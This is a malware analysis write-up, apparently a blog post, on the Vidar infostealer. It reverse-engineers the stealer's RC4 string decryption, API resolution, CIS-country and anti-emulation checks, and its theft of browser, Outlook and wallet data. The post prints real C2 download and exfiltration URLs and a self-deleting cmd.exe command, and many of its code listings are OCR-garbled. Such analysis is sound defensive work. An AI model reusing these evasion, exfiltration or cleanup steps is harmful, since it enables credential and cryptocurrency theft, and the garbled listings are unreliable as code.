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Hi, welcome to the Part 2 of my Vidar infostealer analysis writeup. In part 1 of this post, |
covered detailed technical analysis of packed executable dropped by initial stager by
extracting and exploring embedded shellcode which is unpacking and self-injecting final
payload. This part focuses on detailed static analysis of final injected payload: unpacked
Vidar infostealer, defying anti-analysis techniques employed by malware (string decryption,
dynamically loading DLLs and resolving APIs), automating analysis and finally uncovering
stealer’s main functionality through deobfuscated/decrypted strings.

SHA256: fca48ccbf3db60291b49f2290317b4919007dcc4fb943¢c1136eb70cf998260a5

Vidar in a Nutshell

The Vidar Stealer is popular stealer written in C++ and has been active since October 2018
and seen in numerous different campaigns. It has been utilized by the threat actors behind
GandCrab to use Vidar infostealer in the process for distributing the ransomware as second
stage payload, which helps increasing their profits. The family is quite flexible in its
operations as it can be configured to grab specific information dynamically. It fetches its
configuration from C2 server at runtime which dictates what features are activated and which
information is gathered and exfiltrated from victim machine. It also downloads several benign
supporting dlls (freebl3.dll, mozglue.dll, msvcp140.dll and nss3.dll) to process encrypted data
from browsers such as email credentials, chat account details, web-browsing cookies, etc.,
compresses everything into a ZIP archive, and then exfiltrates the archive to the attackers
via an HTTP POST request. Once this is done, it kills its own process and deletes
downloaded DLLs, working directory contents and main executable in an attempt to wipe all
evidence of its presence from the victim’s machine.

Technical Analysis

I'll start analysis by loading this executable directly in IDA to look for important strings, IDA’s
strings window show some intersting plaintext and base64 encoded strings stored in .rdata
section
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rdata: 0042/

if | quickly decode few base64 strings in Cyberchef, it results in junk data giving a clue that
strings are possibly encrypted before they were base64 encoded
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Recipe S Input T Sf + 0O =1

lines:

CaoQpEzKRGjzqA7oxsEfmfrFl/2d0oNghOeYat RNSFQZR\"g:IoQS220E119dbLETI\

e =) GbuOOF ZTATf+y@KojtYSkaQ=

Remove non-alphabet chars

time: ims

Output e = @ 0 @

2. nlEDhG™.&&A. .GA.y. 80102 . u. | "m.%.ha,5 IudDE.2.0. .4kMppesp . ni

next I'll check for encryption algorithm but KANAL fails to detect any potential algorithm for
string encryption as given in figure below

BASEG4 table :: ©082C658 :: 00842D358
Referenced at 88426304

CRC32 :: GB0234F8 :: 0B4296F8
Referenced at @8412FFC
Referenced at 88413852
Referenced at 88413898
Referenced at 884138C2
Referenced at 884138EA
Referenced at 88413112
Referenced at 88413139
Referenced at 88413161
Referenced at 88413189
Referenced at @84131E8
Referenced at @84131EC

ZIP2? encryption :: 8808183C8 :: €0418FC3
The reference is above.

so let’s start digging it statically to see how string encryption actually works in this case, for
this purpose I'll double click a base64 encoded string randomly to see where it’'s been used
by finding its Xrefs which takes us to sub_423050 routine
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3850 sub 423050 proc near

var_4= dword ptr
push
mow
push ]
Mo ebpt+var_4], ec:

MoA dword_ 432354, offset a@5613995485343
push offset aHimarkhXyz

pop eax

nop

nop

nop

nop

add ESP,

mow dword_4326D8, eax

push offset alg

call sub_422F78

add ES[0,

mow dword 432108, ea:

push offset akaogpezksjgmBq

call sub_422F78

add ESP,

mow dword_ 432688, eax

push offset aCaocgpezkrgjzga

call sub_422F78

add ES[0,

mow dword 4326088, ea:

push

call sub_422F78

add ESP,

mow dword_43236C, eax

push offset aGloxegmctw

call sub_422F78

add ES[0,

mow dword 432494, eax

push offset aDeagohohgty

call sub_422F78

add ESP,

mow dword_ 432694, eax

push offset aGbwoofztatfyek

call sub_422F78

add esp,

mow dword 432558, ea»

push offset aCaogpezkram&@s

call sub_422F78

add ESP,

mow dword_43214C, eax

this routine seems to be processing most of the base64 encoded strings and storing result
for each processed string in a global variable, apart from first two variables which seem to be
storing plaintext values for possible decryption key and domain, let’s rename this routine to
wrap_decrypt_strings




int sub_423858()

dword_432354 @ 53
dword_432608 himarkh.xyz";
dword_4321D8 = (char *)sub_422F78(
dword_432688 (char *)sub_a22F7a(
dword_4326088 = (char *)sub_422F78(
dword_43236C (char *)sub_422F78("L
dword_432494 = (char *)sub_422F78(
dword_432694 = (char *)sub_422F7@(
dword_432558 = (char *)sub_422F78(
dword_43214C (char *)sub_422F7a(
dword_43248C (char *)sub_a22F7a(
dword_4321F8 (char *)sub_422F78(
dword_43242C (char *)sub_422F7a(
dword_432508 (char *)sub_422F70("L
dword_4328a4 = (char *)sub_422F78(
dword_432584 = (char *)sub_422F78(
dword_4325C3 (char *)sub_422F7a(
dword_432558 = (char *)sub_422F7@(
dword_43258C (char *)sub_422F78(
dword_432184 = (char *)sub_422F78(
dword_4321CC (char *)sub_a22F7a(
dword_43215C (char *)sub_422F78(
dword_43228C (char *)sub_422F7a(
dword_432374 = (char *)sub_422F78(
dword_432318 = (char *)sub_422F78(
dword_432348 (char *)sub_422F78(
dword_432198 = (char *)sub_422F78(
dword_432538 = (char *)sub_422F7@(
dword_432808 (char *)sub_422F78(
dword_4323A8 = sub_422F7@("f&A
dword_4320888 = sub_422F78(
dword_4322BC = sub_422F78(
dword_432178 = sub_422F78(
dword_432578 = sub_422F78(

sub_422F70 in wrap_decrypt_strings routine can be seen from figure above to be

repititively called with base64 strings, has been Xref'd for ~400 times, it can be assumed it is
processing encrypted strings and can be renamed to decrypt_strings for our convenience as
shown in the figure below

int wrap_decrypt strings_sub_423@5@()

domain = "hi ch.xyz";

dword_4321D8 = ( *)decrypt_strings_sub_422F7@(
dword_432608 ( *)decrypt_strings_sub_422F78( "k
dword_432606 = ( *)ydecrypt_strings_sub_422F70(
dword_43236C ( *)decrypt_strings_sub_422F7@(
dword_432494 = ( *)decrypt_strings_sub_422F78(
dword_432694 = ( *)decrypt_strings_sub_422F70(
dword_432558 = ( *)decrypt_strings_sub_422F78(
dword_43214C ( *)decrypt_strings_sub_422F78(
dword_43248C ( *)decrypt_strings_sub_422F70(
dword_4321F8 ( *)decrypt_strings_sub_422F78(
dword_43242C ( *)decrypt_strings_sub_422F78(
dword_432503 ( *)decrypt_strings_sub_422F70(
dword_432884 = ( *)decrypt_strings_sub_422F78(
dword_432564 = ( *)decrypt_strings_sub_422F78(
dword_4325C3 ( *)decrypt_strings_sub_422F7@(
dword_432558 ( *)decrypt_strings_sub_422F78(
dword_43258C ( *)decrypt_strings_sub_422F78(
dword_432184 = ( *)decrypt_strings_sub_422F7@(
dword_4321CC ( *)decrypt_strings_sub_422F78(
dword_43215C ( “Jdecrypt_strings_sub_422F78("F
dword_43228C ( decrypt_strings_sub_422F78(
dword_432374 = ( Jdecrypt_strings_sub_422F78(
dword_432316 = { “ydecrypt_strings_sub_422F76(
dword_432343 ( decrypt_strings_sub_422F78(
dword_432198 ( decrypt_strings_sub_422F78(
dword_432538 { ydecrypt_strings_sub_423F76(
dword_432803 ( *)decrypt_strings_sub 422F7@("E




further exploring decrypt_strings by loading the executable in x64dbg, debugging unveils
that first two calls to sub_4011CO0 routine are just copying values of key and base64
encoded encrypted string to local variables, next routine sub_422D00 is decoding base64
string, stores decoded hex value to a local variable and returns address of this local variable

B ou | @ Graph | [riog [ [Jinotes | ® preakpoints | M8 memory Map

| Dcaistack | =nsen | Lol saipt | @ symbois | <> Source | . References | '# Threads | < snowman | #iHandes | ¥ Trace |

5545 FO mov’ dwurd ptr
50 push
8D45 F4 lea eax dwur’d

64:AZ 00000000
Al 54234300
50

mov dword ptr
mov_eax,dword
push eax

Lebp- 100, eax

8D4D 9C lea ecx,dword ptr
E8 1AE2FDFF call 45314d084d7cf 1 . copy_string>
€745 FC 00000000 mov dwor ss:[febp-2],0
884D mov ecx, dnbra ptr ebp+g]
51 push ecx
4D D4 Tea ecx,dword ptr
E5 07E2FDFF €all <6314d084d7ch . copy_string>
CE45 FC 01 mov byte ptr ss:
D55 D4 lea edx dword ptr
52 push ed
3545 88  eox ward oo ss:Beho-acl
push eax
EE 36FDFFFF r_a'l'l <6314d084d7 cF461ac2be0s33bed0sbez. base6d_»
/g 83C4 08 T
censgectos mov byte ptr ss:[ebp-4,=
lea ecx,dword ptr =
EE F?E2FDFF gall <6314d0s4d7cr - free_memory>

+ || Hide FPu

eax |ooisresc| pointer to out buffer
EEX  7EFDEOOD

ECX 2E837034
EDX  0O18FDOO
EEP  OD18FEE4
ESP  OD1BFEGC
ESI 00000000
EDI 00000000
EIP  00422FCA 6314d084d7cF461aczbe0s33bed0abez2. 00
EFLAGS 00000244
ZF 1 PF 1 AF O
OF 0 SF O
CFo TFO

DF O
IF 1

LastError 00000000 (ERROR_SUCCESS)
LasTSTatus CO000034 (STATUS_OBJECT_NAME_NOT_FOUND)

ap4D B8 lea_ecx,dword ptr_ss:[[ebp-43) 65 0028 FS 0053
E8 GFE3FDFF call 45314d084d7cf461ac2b20833bed08b62 find_be4_decoded_hex_str_len» ES 0028 DS 002B
50 push eax €S 0023 S5 002B
6A 00 push o
:;15 @704 200 ;:y‘ g:i"d ptr ds: [<&GetProcessHeap>] sr%u% 00000000000000000000 X87r0 Empty O.0000000000000
ST(1) 0DOOODOOOOODOODDOO0D XE7ri Empty O.00000000DGO0D
o Dorodzon e o e e ST ST(2) 00000D00C0000DD0000D XE7r2 EMPTY O.0000000000000
40 98 Tea ecx,dword per ebp- 6=l ST(3) DDOOODOOCODDOODDOODD xE7r3 Empty O.000000ODDGO0D
51 push ecx sT(4) 00000000000000000000 X87r4 EMPTy O.0000000000000
204D sC lea_ecx,dword ptr 4] ST(s) 0DD000DOOCODD0DDODO0D XE7r5 EMPTY O.0000000000000
EE S0E3FDFF CRT1 <R319000457 cF 441 ncBbe0a1Ibed0aE2. Copy_val> 7 STCe) 0000000000000000000C x87rE Empty 0.0000000000000
50 qus _— — L| sT¢(7) onoooooooo0000000000 X87r7 EmpTy 0.0000000000000
8D4D ES ea ecx,dwor ptr ss:|fel
Eeyzzesciey ;5;:‘ ;:imdDsqd7cf4ﬁ1ac2benszzbednsbsz copy_vals xarTagword FFEF
EE TaraFeEr €all <6314d084d7cT461ac2be0333bed08be2. RC4_decrypts XE7TW_0 3 _(Empty) _XS87TW.1 3 (EmpTy) H
add esp, L
Pl —— E2S i st cocMobe rol Default (stdeally > | 5 |2/ [ Unlocked
| 1: [espr4] ODIGFEEE &"KaoQPEZKSIGmEa—"
6314008407 cTA61acabe0s33bead0obez. T1nd_bes_decoded_hex_str_1ens o (] T 0QPEZKST
3: [esp+C] DIE41AED
. . 4: [esp+10] 01E41AE0D
. text:00422FDC 6314d0B4d7CT461ac2beDE33bed0B0E2. axe: $22FDC #223DC ci [eopei14] DIE41AAS "056139954853430408"
| @oump1 [ 4pump2 | W4Dump3 | 4Dump4 | WeDumps | '-"‘—‘-*Wami = H.omls | 2 stuct e RacapEzRsIamsa—"| base64 encoded string 2

Address | Hex

DD1BFESC |29 AA 10 A4[4C CA 4A 31
TOTBTEAC | UA U0 U0 00| OF U0 00 00

O018FEBC |00 48 40 00 EQ FE 18 00(10 00 00 00|.
0018FECC |1F 00 00 00|20 08 42 00(DO 8 98 2E |78 EF 18 00
OD18FEDC | 8C_ 85 42 01 00 00 OO|EQ FE 18 BE_20 432 .
OD18FEEC

AZ AQ 22 00 0D 14 22 00|88 FF 48 00
AMAFERC |38 71 ah Anlnn A0 dn Anlnn R nn o0l Re 47 29 A0

base64 decoded hex string can also be verified in cyberchef

Recipe

From Base64 >
Alphabet
A-Za-zB8-9+/=

Remove non-alphabet chars

To Hex >

Delimiter

Space

Bytes per line

"056139354853430408"
6314d084d7cT461ac2be0s33bed0sbs2. 00427190

0
6314d084d7 cT461aczbe0833bed0sb62. 00427194
2

start: 16

length: 16 —3
Input Lo 28 e 1 + DO 8 =
KaoQpEzKSjGmaQ=-]
start: NaN time: 1ims
Output end: nan length: 20 [ |_|:| M o
length: NaN  lines: 1

29 aa 10 a4 4c ca 4a 31 a6 f1

later it calculates length for base64 decoded hex string and allocates buffer equivalent of that
length on heap, next two calls to sub_401330 routine are allocating two buffers on heap for
key and base64 decoded hex string respectively before it proceeds to finally decrypt data
using sub_422980, quick decompilation of code for this routine results in three well

recognized RC4 loops
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or new[](strlen(str_buffer) + 1};

i < (signed int)strlen(str_buffer); ++i )

string decryption can be confirmed by following Cyberchef recipe

Recipe ol Input

KaoQpEzKS]Gm8Q==
From Base64 w J6nse

Alphabet
A-Za-z0-9+/=

Remove non-alphabet chars

To Hex
Delimiter Bytes per line
Space

RC4

Passphrase .
056139954853430408 UTF8

Input format Output format

Hex Latinl Output

system. txt

length: 16
lines: 1

ines:

)
&
L]
il

decompiled version of decrypt_strings routine sums up all the steps described above
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details:: CancellationToke

once processing for wrap_decrypt_strings completes, it continues to process next routine
from _WinMain, a quick overview of sub_419700 this routine reveals that it makes extensive
use of global variables which were initialized in wrap_decrypt_strings apart from two calls
to sub_4196D0 and sub_4195A0 routines respectively which can further be explored by
debugging

push ebp

mov ebp,esp

push ecx

mov dword ptr ss:lebp-4J,0
Mo eax,u:lwgrd ptr [-p_%' load PEB

mowv eax,dword ptr ds:[eax+C] load PEB_LDR DATA

mov eax,dword ptr ds:[eax-c] Tload InLoadOrderModulelList

mov eax,dword ptr ds:[eax] load InLoadOrderLinks -> Flink (ntdll.dIl)

mov eax,dword ptr ds:[eax] F N s
Lo e TR A el load InLoadOrderLinks -> Flink (kernel32.dll}

mov dword ptr ss:[febp-4],eax DliBase
mov eax,dword ptr ss:ifebp-4]

mov esp,ebp

pop ebp

ret

lint sub 41
{

return *(

in the figure above, routine sub_4196D0 is parsing PEB structure to get base address for
Kernel32.dll loaded in memory by accessing _PEB -> PEB_LDR_DATA ->
InLoadOrderModuleList structures respetively, next routine sub_4195A0 being called is
taking two parametes: 1). kernel32.dll base address 2). address of a global variable
dword_432204 (LoadLibraryA) in first call and dword_432438 (GetProcAddress) in second
call
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dword_43288C, =ax

where sub_4195A0 is parsing kernel32.dII's header by navigating from
IMAGE_DOS_HEADER -> IMAGE_NT_HEADER ->
IMAGE_OPTIONAL_HEADER.DATA_DIRECTORY ->
IMAGE_EXPORT_DIRECTORY.AddressOfNames to retrieve export name and compare it
with value of API contained by input parameter value which in this case is LoadLibraryA

int _ cdecl sub 4195A8(int DllbaseAddress, const char *string offset)

if both strings match, it returns API's address by accessing value of
IMAGE_EXPORT_DIRECTORY.AddressOfFunctions field, resolved address is stored in
dword_432898 variable while second call to sub_4195A0 resolves GetProcAddress, stores
resolved address to dword_43280C which is subsequently used to resolve rest of API
functions at runtime. | wrote an IDAPython script here which is first decrypting strings from
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https://github.com/xer0xE9/IDAPython_scripts/blob/master/Vidar/deobfuscate_resolve_Vidar.py

wrap_decrypt_strings, resolving APIs from sub_419700 routine, adding comments and
giving meaningful names to global variables storing resolved APIs to properly understand
code flow and its functionality. decrypt_strings routine from IDAPython script is finding key,
locating ~400 base64 encoded encrypted strings, base64 decoding strings and using key to
decrypt base64 decoded hex strings, adding decrypted strings as comments and renaming
variables as shown in figure below

mov
push zksjgmdq ; ) decrypted string
call 4 RC4 d ypt

add renamed variable

mov r : )

push

call

add

mov

push

call

add

mov

push

call

add

mow

push

call

add

mowv

push = fztatfyek ; Computer Name:
call
add

mov
push
call
add
mov r temlangua
push set aF7jjuedj
call
add
mov
push
call
add
mov
push
call
add
mov

push

resolve_apis routine from script is resolving ~100 APIs from 11 libraries from sub_419700
routine
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B < librarya);
getnrocaddre 7 ¥ ) ars ? = 1954 ..str Getprocaddr
ExitPr
GetUserDefaultLangID !

FindFirstFi r_Fing ¥;
_Deletef resolved APIs and
getproca ! ' ilea); renamed variables
getproca

etprocaddr
getprocaddr

5t erStatus
rDetaultlocaleName
CharToMulti
Proce
C Handle
GetCurrentPr
GetCurrentDi
RemoveDirect
setCurrentDi
CreateDirect
FreeLibrary

CopyFil getproca
SetFile procaddr

CreateFiled
WriteFile
GetFil ) X
lstrcaty W trcata);
' Loalalloc);
tr_alobalfr
r_Getfile:

after resolving APls, next routine sub_41F4A0 checks if victime machine is part of CIS
(Commonwealth of Independent States) countries which include Armenia, Azerbaijan,
Belarus, Georgia, Kazakhstan, Kyrgyzstan, Moldova, Russia, Tajikistan, Turkmenistan,
Ukraine, and Uzbekistan, it retrieves language ID for current user by calling
GetUserDefaultLangID APl and compares returned result with specified location codes
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signed int CIS check sub 41F448()
I

p vl ff ax
; [/ [esptdh] [ebp-8h]

where 0x43F corresponds to Kazakhstan, 0x443 to Uzbekistan, 0x82C to Azerbaijan and so
on, it continues performing its tasks if user’s language ID doesn't fall in the above mentioned
category, otherwise it'll stop execution and exit, next routine sub_41B700 performs windows
defender anti-emulation check by compareing computer name to HAL9TH and user name to
JohnDoe strings
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Isigru‘:d int windowsdefender_ check sub 41B7

once all required checks are passed, sub_420BEO routine is called which consists of
stealer’s grabbing module, it prepares urls and destination path strings where downloaded
dlls from C2 server are to be stored before performing any other activity
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str Cprogramdatasoftokn3dll

; 1pFileName

; int

str_Cprogramdatasqlite3dll
: 1pFileName

wnload sub

str Cprogramdatamozgluedll

+ 1pFileName
:- }r\t
, str_Cprogramdatamsvcpl48dll

; lpFileName

str Cprogramdatanss3dll

it downloads 7 dlls under C:\Programdata\

://himarkh. :\\ProgramData\\sqlite3.dll
://himarkh. :\\ProgramData\\freebl3.d1l
://himarkh. :\\ProgramData\\mozglue.dll
://himarkh. :\\ProgramData\\msvcpl40.dll

://himarkh. :\\ProgramData\\nss3.dll
://himarkh. :\\ProgramData\\softokn3.dll
://himarkh. :\\ProgramData\\vcruntimel4@.dll

next it creates its working directory under C:\Programdata, name of directory is randomly
generated 15 digit string like C:\ProgramData\920304972255009 where it further creates
four sub-directories (autofill, cc, cookies and crypto) which are required to be created to store
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stolen data from browser, outlook, cryptocurrency wallets and system information gathering
modules

rrentDirectoryA

wsers sub 41EBD@

different types of browsers are being targeted to steal autofill, credit card, cookies, browsing
history and victim’s login credentials, this module is equipped with advanced stealing and
encryption techniques
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E
vault sub 41BEE@(v]
lite3 d11 api
uh 41EABB(str GDDEIHCH data, str_Googlechrome);
sub_41E ( i s » str_Chromium};
sub 41E ( Ko y = ometa);
sub_41E H
sub_ 41EA
sub 41EABB( "_Urhltumu: ) str Hrhltumﬁ,
sub 41EABB(str_ Comoodragonuserdata, str Comododragon);
sub_41EABB(str_Nichrome Pdata, str_Nihrome);
sub_41EA Maxthon5 s, st ”d{th”ﬂJ|,
sub_ 41EAB®(str_Sputnikuserdata, : I
sub_41EA _Epicprivacybrow
sub 41EAB®(str Vivaldiuserdata, str | )
sub 41EAB®(str Coccocbrov :ru:Erdata. str_Cococbr
sub 41EABB(str_Ucozmediauranuserdata, str_Uranbr
sub 41EABB(str Qipsurfuserdata, _tP_Q1p_qu;,
sub_41EABB(str_Centbrowser ta, str_Cent);
sub_ A1EAB®(str_ Elements rdata, str_Elementsbro
sub_41EA r THPhPﬂpFﬂfll : r_Torbr
sub_41EA nt) icrosoft = se
sub_ 41EA r [Pvptutahhr
sub_41EABB(str_Bravesoftware hravwbru
sub 41E998(str_Operasoftwareoperastable,
sub_41D658( zillafirefoxprofiles, str *111af1r'f X);
sub_41D6 onchildproductionspalemoonprofiles, s
sub_41D658 UdtHFfH{pPHfllu_, str UdtHPfHII,
sub_41D6 r_8pecxstudioscyberfoxprofi ‘ | )
sub_41D658 F_”thdtHtHChﬁﬂlﬂEiEEhlﬁCkhd-hprﬂfil str_Blackhawk) ;
sub_41D658 ﬂH;llldlCHCdtp files, str_Icecat);
sub_41D6 r_Kmeleon, C
sub_41D658(str Thunwrhlrdprufllw str_Thunderbird);
return sub 410678();

it further queries registry about SMTP and IMAP servers with confidential data and
password, gathers data about connected outlook accounts (if any) and finally dumps all the
data to outlook.txt file in its working directory
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H

H

3

later it scans for .wallet, .seco, .passphrase and .keystore files for ~30 cryptocurrency wallets
on their installed paths and copies scanned files to “crypto” in working directory
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a(int al)

3 (eystare);
r_Electrum, str_Electrumwallets, str Defaultwallet};
r_Electrumltc, stP_ElectPumltcw ets, str_Defaultwallet);
r_Electr ca'h, str_Electroncashwalle str_Defaultwallet);
r_Exodus, s 3 -
r_Exodus, str_ E(udu
r_Exodus, :tP_Exudu C , |
r_Exodus, str_Exoduse: 1let, str_!
_Exodus, str_Exodu C 1llet, str_In
_Multidoge, str |"II.J1t1I']HE|-', 5
‘cash, str_Zcash, st
r_Dashcore, str_Dashco
_L1t:CU1n, :tr_th::uln, | |
r_Anoncoin, str_Anoncoin, str_Walat);
r_Bbgcoin, str_Bbgcoin, str_Walat);
r_Devcoin, str Devcoin, str_Walat);
r_Digitalcoin, str_Digitalcoin, str_MWalat);
r_Florincoin, str_Florincoin, str_Walat);
r_Franko, str_Franko, str_Walat};
r_Freicoin, str_Freicoir };
r_Goldcoingld, dword_4 C, str_Walat);
r_Infinitecoin, str_Infinitecoin, str Walat);
r_Tocoin, str _Tocoin, str Walat);
r_Ixcoin, str_Ixcoin, str_Walat);
_Megacoin, str_Megacoin,
_Mincoin, str_Mincoin, str_|
r_Namecoin, str_Namecoin, str_Walat);
r_Primecoin, str_Primecoin, str_Walat);
aCHln. st Twr nin. str_Walat);

1 R

¥

dexeddbfile@indexeddbleveldb, dword_

Vidar creates an HTTP POST request for C&C (http://himarkh.xyz/main.php) server in order
to download configuration for grabbing module at runtime, parses downloaded configuration
and proceeds to gather host, hardware and installed software related info
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= fopen(str_Systemtxt, str W);

fprintf|
fprintf|
ve = sub_ 41
fprintf|
fprintf|

Tprintf|

fprintf|
fprintf|
3 = SLh 41
fprintf|
Tprintf|
vd = sub 41ABDS(
Tprintf|
fprintf|
vS = sub 41
fprintf| str Mahineids, v5);
fprintf| )
vE = sub_41B
Tprintf|
Tprintf|
v7 = sub_41
fprintf|
fprintf|
vB = sub_41B588();
fprintf|
fprintf|
w3 = sub 41
Tprintf| 5 leyboardlangua
Tprintf| AL T
fprintf| str_Hardware);
fprintf| };
vl8 = sub_ 418468 ()
fprintf|
fprintf| :
vll = sub_41B4E6();

which is stored in system.txt file according to the specified format as shown in figure below
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File Edit Selection Find Wiew Goto Tools Project Preferences Help

4p system.txt

Windows: Windows 7 Home Basic

Bit: xb4

User:

Computer Name: WIN-S

System Language: en-US

Machine ID: @19662°°

GUID: {846ee3d@-7@2° *7'

Domain Mame: Unknown

Workgroup: WORKGROUP

Keyboard Languages: English (United States)

Hardware

Processor: Intel(R) Core(TM) i5-'77°
Logical processors: 1

Videocard: VMware SVGA 3D

Display: 1842x935

RAM: MB

Laptop: No

Llocal: 18/5/2822 1:9:8
Zone: UTCS

Network
IP: IP?
Country: Country?

Installed Softwrare
Autolt v3.3.14.5 3.3.14.5
FileInsight - File analysis tool
HashCalc 2.82
IDA Pro Free v5.8
Magic IS0 Maker v5.5 (build @281)
Malcode Analyst Pack vB.24

[ Line1l, Column 1

the same routine also captures screenshots which is stored as “screenshot.jpg” inside
working directory
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@{\“}v| W » Computer » Local Disk (C:) » ProgramData » 829402464589470 »

Organize = Include in library = Share with = Burn Mew folder
Y Favorites Mame : Date modified
Bl Desktop .. autofill 5/18/2022 12:58 AM
& Downloads W cc 5/18/2022 12:58 AM
\ FLARE . cookies 5/18/2022 12:58 AM
=1 Recent Places J crypto 5/18,/2022 12:58 AM
. Utilities asswords. b 5/18/2022 12:58 AM
I |=| screenshot,jpg I 5/18/2022 1:09 AM
- Libraries | system.bd 5/18/2022 1:09 AM
@ Documents L] temp 5/18/2022 12:57 AM
Js Music

Type

File folder

File folder

File folder

File folder

Text Document
JPEG image
Text Document
File

Size

0O KB
294 KB
6 KB
84 KB

immidiately after that a zip file with “_8294024645.zip” name format is created and stolen
contents from working directory are compressed (file is compressed using Zip2 encryption

algorithm as identified by KANAL)

Marme Date maodified Type Size
.. autofill 5/17/202211:54 PM  File folder
W cc 5/17/202211:54 PM  File folder
. cookies 5/17/202211:54 PM  File folder
| crypto 5/17/7202211:54 PM File folder
| |4, 8719411362 zip 5/18/202212:14 AM  Compressed (zipp... 28 KB |

the compressed file is now ready to be exfiltrated to its C&C server in another POST request
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Mo
lea ,
push ; int

push offset byte 4294DF ; char *
mow == b =op ]

push ~-p e
call compress_files sub 428548
add

mow 2CX, = op ]

push

call

add D,

lea =dx, [ebp ]

push ; 1lpFileName
Mmoo

push L} ; void *
lea

call

Mo

push

lea

call

test

jz

after exiting from recursive grabbing module, it deletes downloaded DLLs and files created in
working directory being used to dump stolen data and information in order to remove its
traces from victim machine
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Yy

Ll 1 55

loc_421342:

lea ECH

push
call
add
Mo
push
call
lea
push
call
Moy
push
call
Mo
push
call
Mo
push
call
Moy
push
call
Mo
push
call
mov
push
call
Mo
push
call
lea
push
call
add

eventually it prepares a command “/c taskkill /pid PID & erase EXECUTABLE_PATH & RD
IS /IQ WORKING_DIRECTORY_PATH\* & exit” which gets executed using cmd.exe to kill
the running infostealer process and to delete remaining directories created by this process

and the process itse

» [ebptvar_D834]

sub_41F548

¥

setCurrentDirect
» [ebptvar_ D83

velirectoryd
_Cprogramdatasglite3dll
: WORD

str_Cprogramdatatreebl3dll
; _DWORD

str_Cprogramdatamozgluedll
; _DWORD

DeleteFileA
str_Cprogramdata

If.

That'’s it for Vidar infostealer’s in-depth static analysis and analysis automation! see you soon

in another blogpost.
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